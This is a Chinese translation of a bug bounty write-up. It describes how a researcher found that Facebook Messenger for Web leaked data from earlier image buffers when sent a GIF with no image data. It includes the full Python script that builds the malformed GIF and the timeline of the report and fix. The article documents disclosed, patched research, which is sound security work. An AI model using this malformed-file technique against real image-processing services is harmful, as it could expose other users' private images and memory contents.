看我如何发现针对 Facebook Messenger 的 GIF 攻击并赢得1万美元
编译:代码卫士团队
2018年2月,我正在测试安卓版本的 Facebook Messenger,想要知道它是如何处理受损的 GIF 图像的。受到 Imagemagick “gif 编码器中未清洁内存披露”bug 和“gifoeb” PoC 的启发,我发现Messenger app 只有在处理由“gifoeb”工具生成的图像的情况下,才会发生空解指针引用问题(安卓版本的Facebook Messenger 中的 DoS 漏洞并未被涵盖在漏洞奖励计划内)。
之后,我就在想:什么是 GIF 图像格式以及它是什么样的?我如何能生成自己的图像?(剧透:Facebook Messenger for Web 中价值1万美元的漏洞,不过我们先来看看理论)。
基本的 GIF 图像
我找到对 GIF 图像格式的清楚表述,主要的头部应该如下:
Offset Length Contents
0 3 bytes "GIF"
3 3 bytes "87a" or "89a"
6 2 bytes <Logical Screen Width>
8 2 bytes <Logical Screen Height>
10 1 byte bit 0: Global Color Table Flag (GCTF)
bit 1..3: Color Resolution
bit 4: Sort Flag to Global Color Table
bit 5..7: Size of Global Color Table: 2^(1+n)
11 1 byte <Background Color Index>
12 1 byte <Pixel Aspect Ratio>
13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one>
? bytes <Blocks>
1 bytes <Trailer> (0x3b)
(完整的表述在此:http://www.onicos.com/staff/iz/formats/gif.html#header)
我决定以最小要求的字段创建基本的 GIF 文件。
创建自己的GIF
要创建自己的 GIF,我选择 Python 生成二进制文件。
import struct
screenWidth = 640
screenHeight = 480
f = open('test.gif', 'wb')
# Offset Length Contents
# 0 3 bytes "GIF"
# 3 3 bytes "87a" or "89a"
f.write(b"GIF89a")
# 6 2 bytes <Logical Screen Width>
f.write(struct.pack('<h', screenWidth))
# 8 2 bytes <Logical Screen Height>
f.write(struct.pack('<h', screenHeight))
# 10 1 byte bit 0: Global Color Table Flag (GCTF)
# bit 1..3: Color Resolution
# bit 4: Sort Flag to Global Color Table
# bit 5..7: Size of Global Color Table: 2^(1+n)
bits = int('00000010', 2)
f.write(struct.pack('<b', bits))
# 11 1 byte <Background Color Index>
f.write(struct.pack('<b', 0))
# 12 1 byte <Pixel Aspect Ratio>
f.write(struct.pack('<b', 1))
# 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one>
# ? bytes <Blocks>
# Offset Length Contents
# 0 1 byte Image Separator (0x2c)
f.write(struct.pack('<b', 0x2c))
# 1 2 bytes Image Left Position
f.write(struct.pack('<h', 0))
# 3 2 bytes Image Top Position
f.write(struct.pack('<h', 0))
# 5 2 bytes Image Width
f.write(struct.pack('<h', screenWidth))
# 7 2 bytes Image Height
f.write(struct.pack('<h', screenHeight))
# 8 1 byte bit 0: Local Color Table Flag (LCTF)
# bit 1: Interlace Flag
# bit 2: Sort Flag
# bit 2..3: Reserved
# bit 4..7: Size of Local Color Table: 2^(1+n)
# ? bytes Local Color Table(0..255 x 3 bytes) if LCTF is one
f.write(struct.pack('<b', int('00000100', 2)))
# 1 byte LZW Minimum Code Size
#f.write(struct.pack('<b', 1))
# [ // Blocks
# 1 byte Block Size (s)
#f.write(struct.pack('<b', 1))
# (s)bytes Image Data
# ]*
# 1 byte Block Terminator(0x00)
#f.write(struct.pack('<b', 0))
# 1 bytes <Trailer> (0x3b)
f.write(struct.pack('<b', 0x3b))
f.close()
这个脚本生成的图像正是我们所需的。我留下了注释来找到我们在图像中忽视的头部是什么。如上可见创建的这个 GIF 并不具备图像数据块,在颜色表尾部之后,它是空的。
Facebook Messenger
通过生成的 GIF 图像(具有不同的大小、头部字段)开始测试安卓版的 Facebook Messenger,结果什么都没有发生,知道我在笔记本上打开了 Messenger 网页,然后看到了下面非常小非常怪异的图像:
但是,我们的 GIF 图像上并没有任何内容,但 Facebook 为什么给出这个图像?修改 GIF 图像的大小后,看到了这个白噪音图像,看起来也很怪异。
之后,我将同样的二进制再次上传之后,看到如下图像。
图像发生了一点变化,但我明明上传的是同一张 GIF 图像。
播放 GIF 屏/图像大小之后:
这倒提醒我,当尝试从文件中读取图像并使用宽度而非高度的时候。最终我获得了如下结果:
我意识到我将会获得该 GIF 图像的一些此前的缓冲,因为我的图像并不具备内容主体。(视频地址:https://youtu.be/-YyWTzSlsxM)
作者Dzmitry Lukyanenka并未证实该漏洞可被用于获取敏感信息,但 Reddit 论坛用户认为,可能会带来严重的安全后果,“他恢复了多数人的图像。想象下,如果这张图像是你私发给家人的孩子的图像的话就知道了。它是一个非常严重的漏洞,即使它仅可被用于提取最近上传的图像。”有人在博客评论下方提到,如果能够读取包含秘密的任意内存,那么它将是一个恶意漏洞。
2017年,Facebook 曾因由 ImageMagick触发的一个远程代码执行漏洞颁发出4万美元的奖励。
时间轴
2018-02-26:将问题告知 Facebook 团队
2018-03-01:严重程度分类
2018-03-09:漏洞修复
2018-03-21:获得1万美元的奖励
推荐阅读
原文链接
https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html
https://www.securityweek.com/gif-attack-facebook-messenger-earned-hacker-10000
本文由代码卫士编译,不代表其观点,转载请注明“转自代码卫士 www.codesafe.cn”。